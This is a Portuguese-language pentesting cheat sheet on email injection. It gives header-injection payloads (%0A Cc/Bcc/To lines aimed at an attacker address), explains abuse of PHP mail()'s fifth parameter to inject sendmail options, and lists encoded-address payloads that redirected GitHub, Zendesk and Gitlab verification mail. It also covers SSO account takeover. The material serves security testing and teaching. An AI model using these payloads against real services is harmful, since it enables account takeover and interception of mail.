Email Injections

Use Trickest para construir e automatizar fluxos de trabalho facilmente, impulsionados pelas ferramentas comunitárias mais avançadas do mundo. Acesse hoje:

Inject in sent e-mail

Inject Cc and Bcc after sender argument

From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com

A mensagem será enviada para as contas recipient e recipient1.

Inject argument

From:sender@domain.com%0ATo:attacker@domain.com

A mensagem será enviada ao destinatário original e à conta do atacante.

Inject Subject argument

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

O assunto falso será adicionado ao assunto original e, em alguns casos, o substituirá. Isso depende do comportamento do serviço de e-mail.

Mudar o corpo da mensagem

Injete uma quebra de linha dupla e, em seguida, escreva sua mensagem para alterar o corpo da mensagem.

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

Exploração da função mail() do PHP

# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

O 5º parâmetro ($additional_parameters)

Esta seção será baseada em como abusar deste parâmetro supondo que um atacante o controla.

Este parâmetro será adicionado à linha de comando que o PHP usará para invocar o binário sendmail. No entanto, ele será sanitizado com a função escapeshellcmd($additional_parameters).

Um atacante pode injetar parâmetros adicionais para sendmail neste caso.

Diferenças na implementação do /usr/sbin/sendmail

A interface do sendmail é fornecida pelo software de e-mail MTA (Sendmail, Postfix, Exim etc.) instalado no sistema. Embora a funcionalidade básica (como os parâmetros -t -i -f) permaneça a mesma por razões de compatibilidade, outras funções e parâmetros variam muito dependendo do MTA instalado.

Aqui estão alguns exemplos de diferentes páginas de manual do comando/interface sendmail:

• Sendmail MTA: http://www.sendmail.org/~ca/email/man/sendmail.html

• Postfix MTA: http://www.postfix.org/mailq.1.html

• Exim MTA: https://linux.die.net/man/8/eximReferences

Dependendo da origem do binário sendmail, diferentes opções foram descobertas para abusar delas e vazar arquivos ou até mesmo executar comandos arbitrários. Confira como em https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

Injetar no nome do e-mail

Partes ignoradas de um e-mail

Os símbolos: +, - e {} em raras ocasiões podem ser usados para marcação e ignorados pela maioria dos servidores de e-mail.

• Ex.: john.doe+intigriti@example.com → john.doe@example.com

Comentários entre parênteses () no início ou no final também serão ignorados.

• Ex.: john.doe(intigriti)@example.com → john.doe@example.com

Bypass de whitelist

Citações

IPs

Você também pode usar IPs como nomes de domínio entre colchetes:

• john.doe@[127.0.0.1]

• john.doe@[IPv6:2001:db8::1]

Codificação de E-mail

Como explicado em esta pesquisa, nomes de e-mail também podem conter caracteres codificados:

• Overflow PHP 256: A função chr do PHP continuará adicionando 256 a um caractere até que se torne positivo e então fará a operação %256.

• String.fromCodePoint(0x10000 + 0x40) // 𐁀 → @

Codificações diferentes:

# Format
=? utf-8 ? q ? =41=42=43 ?= hi@example.com --> ABChi@example.com

# =? -> Start of encode
# utf-8 -> encoding used
# ? -> separator
# q -> type of encoding
# ? -> separator
# =41=42=43 -> Hex encoded data
# ?= end of encoding

# Other encodings, same example:
# iso-8859-1
=?iso-8859-1?q?=61=62=63?=hi@example.com
# utf-8
=?utf-8?q?=61=62=63?=hi@example.com
# utf-7
=?utf-7?q?<utf-7 encoded string>?=hi@example.com
# q encoding + utf-7
=?utf-7?q?&=41<utf-7 encoded string without initial A>?=hi@example.com
# base64
=?utf-8?b?QUJD?=hi@example.com
# bas64 + utf-7
=?utf-7?q?<utf-7 encoded string in base64>?=hi@example.com
#punycode
x@xn--svg/-9x6 → x@<svg/

Payloads:

• Github: =?x?q?collab=40psres.net=3e=00?=foo@example.com

• Note o @ codificado como =40, o > codificado como =3e e null como =00

• Ele enviará o e-mail de verificação para collab@psres.net

• Zendesk: "=?x?q?collab=22=40psres.net=3e=00==3c22x?="@example.com

• O mesmo truque de antes, mas adicionando uma citação regular no início e a citação codificada =22 antes do @ codificado e, em seguida, iniciando e fechando algumas citações antes do próximo e-mail para corrigir a sintaxe usada internamente pelo Zendesk

• Ele enviará o e-mail de verificação para collab@psres.net

• Gitlab: =?x?q?collab=40psres.net_?=foo@example.com

• Note o uso do sublinhado como um espaço para separar o endereço

• Ele enviará o e-mail de verificação para collab@psres.net

• Punycode: Usando Punycode, foi possível injetar uma tag <style no Joomla e abusar dela para roubar o token CSRF via exfiltração de CSS.

Tooling

• Existe um script Burp Suite Turbo Intruder para fuzz essas combinações para tentar atacar formatos de e-mail. O script já possui combinações potencialmente funcionais.

• Também é possível usar Hackvertor para criar um ataque de divisão de e-mail

Outras vulnerabilidades

SSO de terceiros

XSS

Alguns serviços como github ou salesforce permitem que você crie um endereço de e-mail com cargas XSS nele. Se você puder usar esses provedores para fazer login em outros serviços e esses serviços não estiverem sanitizando corretamente o e-mail, você pode causar XSS.

Tomada de Conta

Se um serviço SSO permitir que você crie uma conta sem verificar o endereço de e-mail fornecido (como salesforce) e depois você puder usar essa conta para fazer login em um serviço diferente que confia na salesforce, você poderá acessar qualquer conta. Observe que a salesforce indica se o e-mail fornecido foi ou não verificado, mas a aplicação deve levar em conta essa informação.

Responder Para

Você pode enviar um e-mail usando De: company.com e Responder Para: attacker.com e se qualquer resposta automática for enviada devido ao e-mail ter sido enviado de um endereço interno, o atacante pode ser capaz de receber essa resposta.

Taxa de Hard Bounce

Certos serviços, como AWS, implementam um limite conhecido como Taxa de Hard Bounce, tipicamente definida em 10%. Esta é uma métrica crítica, especialmente para serviços de entrega de e-mail. Quando essa taxa é excedida, o serviço, como o serviço de e-mail da AWS, pode ser suspenso ou bloqueado.

Um hard bounce refere-se a um e-mail que foi retornado ao remetente porque o endereço do destinatário é inválido ou não existe. Isso pode ocorrer por várias razões, como o e-mail sendo enviado para um endereço inexistente, um domínio que não é real, ou a recusa do servidor do destinatário em aceitar e-mails.

No contexto da AWS, se você enviar 1000 e-mails e 100 deles resultarem em hard bounces (devido a razões como endereços ou domínios inválidos), isso significaria uma taxa de hard bounce de 10%. Atingir ou exceder essa taxa pode fazer com que o AWS SES (Simple Email Service) bloqueie ou suspenda suas capacidades de envio de e-mail.

É crucial manter uma baixa taxa de hard bounce para garantir um serviço de e-mail ininterrupto e manter a reputação do remetente. Monitorar e gerenciar a qualidade dos endereços de e-mail em suas listas de mala direta pode ajudar significativamente a alcançar isso.

Para informações mais detalhadas, a documentação oficial da AWS sobre como lidar com bounces e reclamações pode ser consultada em AWS SES Bounce Handling.

Referências

• https://resources.infosecinstitute.com/email-injection/

• https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html

• https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view

• https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

Use Trickest para construir e automatizar fluxos de trabalho facilmente com as ferramentas da comunidade mais avançadas do mundo. Obtenha Acesso Hoje: